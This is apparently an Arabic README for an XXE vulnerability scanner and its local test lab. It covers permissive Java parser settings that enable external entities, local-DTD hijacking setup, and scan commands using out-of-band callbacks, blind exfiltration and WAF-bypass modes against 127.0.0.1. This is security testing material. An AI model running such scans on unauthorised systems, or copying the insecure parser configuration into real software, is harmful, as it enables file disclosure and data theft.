"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
هذا هو الخطاف للتقييم الآلي. يمكن لمنصة اختبار أن تلتقط نتائج الماسح الضوئي لكل نقطة نهاية، وتقارنها بخريطة الأحكام، وتحسب الدقة والاستدعاء دون تحليل HTML أو قراءة بيانات نقطة النهاية الوصفية.
### مختبر Java — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
نقطة نهاية واحدة: POST /xml/error. تُرجع parsed ok عند النجاح، أو XML parse error: <message> عند الفشل — بما يطابق تطبيق Java المعرّض للثغرات الذي يسجّل str(e).
يبقى مختبر Java ضروريًا لمرحلة XXE القائمة على الأخطاء. يحظر libxml2 2.13 وما بعده الوصول إلى DTD الخارجي افتراضيًا، لذا لا يمكن لـ XXE-ERROR-BASED-MALFORMED أن ينطلق ضد مختبر Python. يسمح Xerces بكيانات المعاملات ذات المجموعة الفرعية الداخلية ويطلق الاكتشاف دون أي DTD محلي على الإطلاق. يفعّل المختبر الميزات اللازمة صراحةً:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **ملاحظة:** `ACCESS_EXTERNAL_DTD = ""` (سلسلة فارغة) تعني *رفض الكل*، وليس السماح للكل. استخدم `"all"` لمحلل متسامح.
### هجوم DTD المحلي — تثبيت DTDs على الهدف
يعمل `error_based_local_dtd` عن طريق اختطاف DTD موجود بالفعل على نظام ملفات الهدف. تشير قائمة الحمولات الخاصة بالماسح الضوئي إلى حوالي 60 مسارًا شائعًا، لكن التقنية لا يمكن أن تنطلق ضد نظام ملفات لا يحتوي على أي منها — ويُبلّغ الماسح الضوئي بشكل صحيح عن عدم وجود اكتشاف في تلك الحالة.
ثبّت حزم DTD على نفس المضيف الذي يشغّل مختبر Python حتى تكون لدى التقنية شيء لاختطافه:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows يتضمن WMI DTDs (C:\Windows\System32\wbem\xml\) و Office DTDs (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll) بشكل افتراضي.
macOS يتضمن /System/Library/DTDs/PropertyList.dtd و sdef.dtd بشكل افتراضي.
ملاحظة حول libxml2 2.13+. شدّدت libxml2 الحديثة القواعد أكثر: يجب أن يعلن DTD القابل للاختطاف عن الكيان المعاملي بالاسم، ويشير إليه في المستوى الأعلى، ولا يتسلسل إلى وحدات تحتوي على PEs متداخلة محظورة. تفشل ملفات DocBook docbookx.dtd على libxml2 الحديثة لأنها تتضمن dbcentx.mod، الذي يحتوي على PEs متداخلة محظورة. يُحلَّل fonts.dtd بشكل نظيف لكنه لا يعلن عن الكيانات التي يحاول الماسح اختطافها.
هذا هو السبب في أن مختبر Java هو البيئة الموصى بها لإظهار XXE القائم على الأخطاء.
يستخدم كل مثال أدناه http://127.0.0.1:5000. لتشغيل نفس عمليات الفحص ضد المختبر عبر TLS، ابدأه باستخدام --autocert (أو --https لإعادة استخدام الشهادة المخزنة مؤقتًا) ووجّه الماسح إلى https://127.0.0.1:5000. يعطّل الماسح التحقق من TLS بشكل افتراضي، لذا لا حاجة إلى أي علامة من جانب الماسح — تعمل الشهادة الموقّعة ذاتيًا دون الحاجة إلى ترك --verify-tls معطّلًا.```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**الخيار أ — OOB يدوي.** طرفيتان:
**الطرفية أ** — ابدأ عميل OOB ولاحظ نطاق الجلسة:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
الطرفية B — شغّل المختبر والفحوصات:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**الخيار ب — OOB تلقائي.** طرفية واحدة:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
الخيار C — الانحدار الحتمي. اضبط XXE_LAB_MODE=scoped قبل بدء المختبر. كل طلب خارج النطاق يُرجع جسمًا مطابقًا، لذا يُفعَّل حق النقض الخاص بعدم التغيير في الماسح بشكل حتمي وتكون النتائج لكل نقطة نهاية قابلة للتكرار عبر التشغيلات. اضبط XXE_LAB_NOISE_SEED=1 لجعل /xml/noise قابلًا للتكرار أيضًا.
الخيار D — التسريب. لاختبار مسار التسريب الأعمى من البداية إلى النهاية:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
في WebUI: ابدأ وحدة التحكم باستخدام `--serve --host 0.0.0.0`، وحدد **Serve DTDs from this WebUI** في الدرج، وقدّم عنوان URL العام الخاص بـ WebUI، وسيعمل نفس مسار exfil دون عملية ثانية.
### تفسير فجوات التغطية
تُظهر قائمة التخطي لكل هدف بالضبط ما لم يتم اختباره. مرّر العلامة المسمّاة لتمكين مرحلة تم تخطيها:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
المتطلبات الأساسية: Python 3.9+، وbuild وhatchling لتغليف Python؛ وmakepkg، وdpkg-buildpackage/debhelper/dh-python، وrpmbuild لحزم التوزيعات.
XXERipper برنامج حر، مرخّص بموجب رخصة GNU العامة الإصدار 3 أو أحدث. يُوزَّع دون أي ضمان. راجع https://www.gnu.org/licenses/ للتفاصيل.
حقوق النشر (C) 2026 Kamal Khalilov.
interactsh-client. وضعان: يدوي (يطبع الماسح كل نطاق فرعي، وأنت تراقب العميل) وتلقائي (--oob-auto يُشغّل interactsh-client ويربط الاستدعاءات (callbacks) داخل العملية). كلاهما يضمّن رمزًا فريدًا من 16 خانة سداسية عشرية لكل حمولة بحيث لا يمكن أبدًا نسب الاستدعاءات بشكل خاطئ.--oob-listen)، أو دليل يقدّمه خادم الويب الخاص بك (--oob-dtd-dir)، أو مسارات Flask الخاصة بـ WebUI نفسها (فعّل Serve DTDs from this WebUI في الدرج).jar://، data://، phar://، glob://، compress.zlib://.XXE-OFFICE-XSLT-{DOCX,XLSX}) — تعليمة xml-stylesheet PI داخل جزء Word أو Excel تجعل معالجات المستندات من جانب الخادم تجلب XSLT يتحكم به المهاجم.jackson-dataformat-xml على مسار الفئات (classpath)، والذي يقبل بصمت application/xml على أي نقطة نهاية @RequestBody.--bypass-waf) — تعيد إرسال كتالوج الحمولات بالكامل عبر خمسة عشر مُرمّزًا ضمن ثلاث عائلات. تعمل بعد المراحل الأساسية بحيث تُكتشف الإصابة المباشرة في ~20 طلبًا بدلًا من أن تُدفن خلف ~1,500 حمولة مُرمّزة.--serve) — منصة عمل قائمة على المتصفح مع بث الأحداث المباشر، ولوحة أوامر، وتنقل مدفوع بلوحة المفاتيح، وتنزيلات JSON / SARIF / HTML لكل مهمة، وزر View HTML منفصل يفتح التقرير مضمّنًا بدلًا من تنزيله. واجهة أمامية بلا اعتماديات: ملف HTML واحد مكتفٍ بذاته، بلا CDN.--pre-auth-request FILE يعيد تشغيل طلبات بصيغة Burp ويدمج Set-Cookie الخاصة بها قبل بدء الفحص، بحيث تعمل تدفقات المصادقة متعددة الخطوات دون ملف cookies.| المفتاح | الإجراء |
|---|
j / k | الهدف التالي / السابق |
n / p | النتيجة التالية / السابقة |
/ | التركيز على عامل التصفية |
c | فتح درج الفحص الجديد |
r | إعادة تشغيل الفحص المحدد |
? | مربع حوار الاختصارات |
Esc | إغلاق تدريجي (عامل التصفية → النتيجة → الهدف) |
| الحكم | المعنى |
|---|
[VULNERABLE] | نتيجة واحدة على الأقل بخطورة MEDIUM أو أعلى |
[MANUAL-OOB] | لا نتائج، لكن تم إرسال حمولات OOB (الوضع اليدوي فقط) |
[INFO-ONLY] | لا نتائج، لا حمولات OOB، لكن تم تخطي مرحلة واحدة على الأقل |
[OK] | لا شيء للإبلاغ عنه، لا شيء تم تخطيه |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
| المرحلة المتخطاة | التمكين بواسطة |
|---|
multipart_docx، svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| أي مرحلة OOB | --oob-domain أو --oob-auto |
| التسريب الأعمى | --oob-auto بالإضافة إلى --oob-listen / --oob-dtd-dir (أو الخادم المستضاف على WebUI) |
fingerprint | (لا تمرر --no-fingerprint) |
| — (تغيير قائمة الملفات) | --full-file-scan |
| الهدف | الأمر | المخرجات |
|---|
| حزمة Python wheel و sdist | make build | dist/*.whl، dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| الكل | make all | كل ما سبق |